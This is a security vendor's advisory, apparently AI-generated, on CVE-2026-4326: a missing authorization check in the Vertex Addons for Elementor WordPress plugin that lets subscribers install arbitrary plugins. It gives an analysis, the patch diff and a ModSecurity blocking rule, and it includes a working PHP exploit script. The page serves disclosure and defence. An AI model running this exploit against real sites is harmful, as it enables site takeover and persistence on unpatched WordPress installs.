Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-4326: Vertex Addons for Elementor <= 1.6.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation and Activation via 'afeb_activate_required_plugins' (addons-for-elementor-builder)

CVE ID CVE-2026-4326
Plugin addons-for-elementor-builder
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 1.6.4
Patched Version 1.7.0
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4326:
The Vertex Addons for Elementor plugin for WordPress contains a missing authorization vulnerability in versions up to and including 1.6.4. This flaw allows authenticated attackers with Subscriber-level permissions or higher to install and activate arbitrary plugins via a specific AJAX endpoint. The vulnerability receives a CVSS score of 8.8, indicating high severity.

The root cause lies in the `activate_required_plugins()` function within the `/addons-for-elementor-builder/app/Ajax.php` file. The function performs a capability check using `current_user_can(‘install_plugins’)` at line 226. In the vulnerable version, a failed check only assigns an error message to a variable named `$error`. The function does not terminate execution or return an error response at that point. The code continues to process the `plugins` POST parameter, installs the specified plugins, and activates them. Only after these operations complete does the function check the `$error` variable and send a JSON error response.

Exploitation requires an authenticated attacker with any valid WordPress user account, including the default Subscriber role. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `afeb_activate_required_plugins`. The request must include a valid AJAX nonce and a `plugins` parameter containing an array of plugin slugs to install and activate. The nonce requirement means the attacker must first obtain a valid nonce, which is typically accessible to authenticated users via the plugin’s admin interface.

The patch in version 1.7.0 modifies the `activate_required_plugins()` function to enforce proper authorization. The check `if (!current_user_can(‘install_plugins’))` now immediately calls `wp_send_json_error()` with a 403 status code, terminating the function execution before any plugin installation logic runs. This change ensures the capability check acts as a true security gate. The patch also adds similar authorization checks to the `import_template_kit_settings()` and `import_template_kit()` functions, requiring the `manage_options` capability.

Successful exploitation grants an attacker the ability to install and activate any plugin available in the WordPress repository. This can lead to immediate privilege escalation if a malicious plugin is installed. It also enables persistence, data exfiltration, and site compromise. An attacker could install a backdoor plugin to maintain access, a spam plugin to generate malicious content, or a plugin with a remote code execution vulnerability to gain full server control.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/addons-for-elementor-builder/addons-for-elementor-builder.php
+++ b/addons-for-elementor-builder/addons-for-elementor-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: Vertex Addons for Elementor
  * Plugin URI: https://vertexaddons.com/
  * Description: Just one plugin instead of a lot!
- * Version: 1.6.4
+ * Version: 1.7.0
  * Author: Webilia
  * Author URI: https://webilia.com/
  * License: GPL v2 or later
--- a/addons-for-elementor-builder/afeb.php
+++ b/addons-for-elementor-builder/afeb.php
@@ -22,7 +22,7 @@
      *
      * @var string
      */
-    public $version = '1.6.4';
+    public $version = '1.7.0';

     /**
      * The single instance of the class
--- a/addons-for-elementor-builder/app/Ajax.php
+++ b/addons-for-elementor-builder/app/Ajax.php
@@ -224,10 +224,14 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

-        $error = '';
-
         if (!current_user_can('install_plugins'))
-            $error = esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder');
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
+        $error = '';

         $plugins = isset($_POST['plugins']) ? map_deep($_POST['plugins'], 'sanitize_text_field') : [];
         $time_limit = ini_get('max_execution_time');
@@ -294,6 +298,13 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

+        if (!current_user_can('manage_options'))
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to import template kit settings on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
         $time_limit = ini_get('max_execution_time');

         if (!did_action('elementor/loaded') || !class_exists(Plugin::class))
@@ -386,6 +397,13 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

+        if (!current_user_can('manage_options'))
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to import template kits on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
         $args = [
             'post_type' => [
                 'page',
--- a/addons-for-elementor-builder/app/Assets.php
+++ b/addons-for-elementor-builder/app/Assets.php
@@ -38,14 +38,14 @@
         {
             add_action('wp_enqueue_scripts', function ()
             {
-                wp_enqueue_script('wc-add-to-cart');
+                $this->enqueue_wc_add_to_cart_script();

                 $this->woo_product_image_style();
                 $this->woo_product_image_script();
                 $this->product_image();
                 $this->add_to_cart();
                 $this->woo_product_tags_style();
-            });
+            }, 20);
         }

         if (is_admin())
@@ -67,7 +67,7 @@
             });
         }

-        add_action('wp_enqueue_scripts', [$this, 'woo_add_to_cart_script']);
+        add_action('wp_enqueue_scripts', [$this, 'woo_add_to_cart_script'], 20);
         add_action('elementor/editor/after_enqueue_styles', [$this, 'elementor_editor_styles']);
         add_action('elementor/editor/after_enqueue_scripts', [$this, 'editor_script']);
     }
@@ -184,18 +184,7 @@

     public function add_to_cart()
     {
-        wp_enqueue_script(
-            'afeb-woo-atc-redirect',
-            $this->assets_url('js/afeb-woo-atc-redirect.js'),
-            ['jquery', 'wc-add-to-cart'],
-            AFEB_VERSION,
-            true
-        );
-        // Localize redirect URLs from WooCommerce
-        wp_localize_script('afeb-woo-atc-redirect', 'afeb_atc_params', [
-            'cart_url' => function_exists('wc_get_cart_url') ? wc_get_cart_url() : '',
-            'checkout_url' => function_exists('wc_get_checkout_url') ? wc_get_checkout_url() : '',
-        ]);
+        $this->enqueue_add_to_cart_redirect_script();

         add_action('elementor/frontend/after_register_styles', function ()
         {
@@ -1528,19 +1517,35 @@

     public function woo_add_to_cart_script()
     {
-        if (class_exists('WooCommerce'))
+        $this->enqueue_wc_add_to_cart_script();
+        $this->enqueue_add_to_cart_redirect_script();
+    }
+
+    private function enqueue_wc_add_to_cart_script()
+    {
+        if (wp_script_is('wc-add-to-cart', 'registered'))
         {
             wp_enqueue_script('wc-add-to-cart');
         }
+    }
+
+    private function enqueue_add_to_cart_redirect_script()
+    {
+        $is_enqueued = wp_script_is('afeb-woo-atc-redirect', 'enqueued');

         wp_enqueue_script(
             'afeb-woo-atc-redirect',
             $this->assets_url('js/afeb-woo-atc-redirect.js'),
-            ['jquery', 'wc-add-to-cart'],
+            ['jquery'],
             AFEB_VERSION,
             true
         );

+        if ($is_enqueued)
+        {
+            return;
+        }
+
         wp_localize_script('afeb-woo-atc-redirect', 'afeb_atc_params', [
             'cart_url' => function_exists('wc_get_cart_url') ? wc_get_cart_url() : '',
             'checkout_url' => function_exists('wc_get_checkout_url') ? wc_get_checkout_url() : '',
--- a/addons-for-elementor-builder/html/admin/menus/dashboard/fragments/content/dashboard/tpl.php
+++ b/addons-for-elementor-builder/html/admin/menus/dashboard/fragments/content/dashboard/tpl.php
@@ -55,6 +55,15 @@

                 <div class="afeb-changelog-list-box">
                     <div class="afeb-changelog-date">
+                        <?php esc_html_e('March 25, 2026', 'addons-for-elementor-builder'); ?>
+                        <span class="afeb-changelog-version"><?php esc_html_e('Version 1.7.0', 'addons-for-elementor-builder'); ?></span>
+                    </div>
+                    <ul class="afeb-changelog-list">
+                        <li><?php esc_html_e('Improved : Made frontend dialogs more reliable.', 'addons-for-elementor-builder'); ?></li>
+                        <li><?php esc_html_e('Fixed : Better protected required plugin activation and Templates Kit imports.', 'addons-for-elementor-builder'); ?></li>
+                        <li><?php esc_html_e('Fixed : Improved support for custom scripts in the Custom CSS/JS Extension.', 'addons-for-elementor-builder'); ?></li>
+                    </ul>
+                    <div class="afeb-changelog-date">
                         <?php esc_html_e('February 27, 2026', 'addons-for-elementor-builder'); ?>
                         <span class="afeb-changelog-version"><?php esc_html_e('Version 1.6.4', 'addons-for-elementor-builder'); ?></span>
                     </div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264326,phase:2,deny,status:403,chain,msg:'CVE-2026-4326: Vertex Addons for Elementor Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-4326',tag:'WordPress',tag:'Plugin:vertex-addons-for-elementor'"
  SecRule ARGS_POST:action "@streq afeb_activate_required_plugins" "chain"
    SecRule &ARGS_POST:plugins "!@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4326 - Vertex Addons for Elementor <= 1.6.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation and Activation via 'afeb_activate_required_plugins'

<?php
/**
 * Proof of Concept for CVE-2026-4326
 * This script demonstrates the missing authorization vulnerability in Vertex Addons for Elementor <= 1.6.4.
 * It requires valid WordPress subscriber credentials and a valid AJAX nonce.
 * The nonce must be obtained first, typically from a page where the plugin loads its JavaScript.
 */

$target_url = 'https://vulnerable-site.example.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$nonce = 'VALID_NONCE_HERE'; // Obtain from page source or via separate request

// Plugin slug to install and activate (example: a contact form plugin)
$plugin_slug = 'contact-form-7';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only

$response = curl_exec($ch);

// Check if login was successful by looking for dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Now exploit the vulnerable AJAX endpoint
$post_data = [
    'action' => 'afeb_activate_required_plugins',
    'nonce' => $nonce,
    'plugins' => [$plugin_slug]
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);

$ajax_response = curl_exec($ch);
curl_close($ch);

// Parse the response
$result = json_decode($ajax_response, true);

if (isset($result['success']) && $result['success'] === true) {
    echo "SUCCESS: Plugin '$plugin_slug' was installed and activated.n";
    echo "Response: " . print_r($result, true) . "n";
} else {
    echo "Exploit may have succeeded but returned an error (expected in vulnerable versions).n";
    echo "Response: " . $ajax_response . "n";
    echo "Check if plugin '$plugin_slug' appears in the WordPress plugins list.n";
}

// Cleanup
@unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School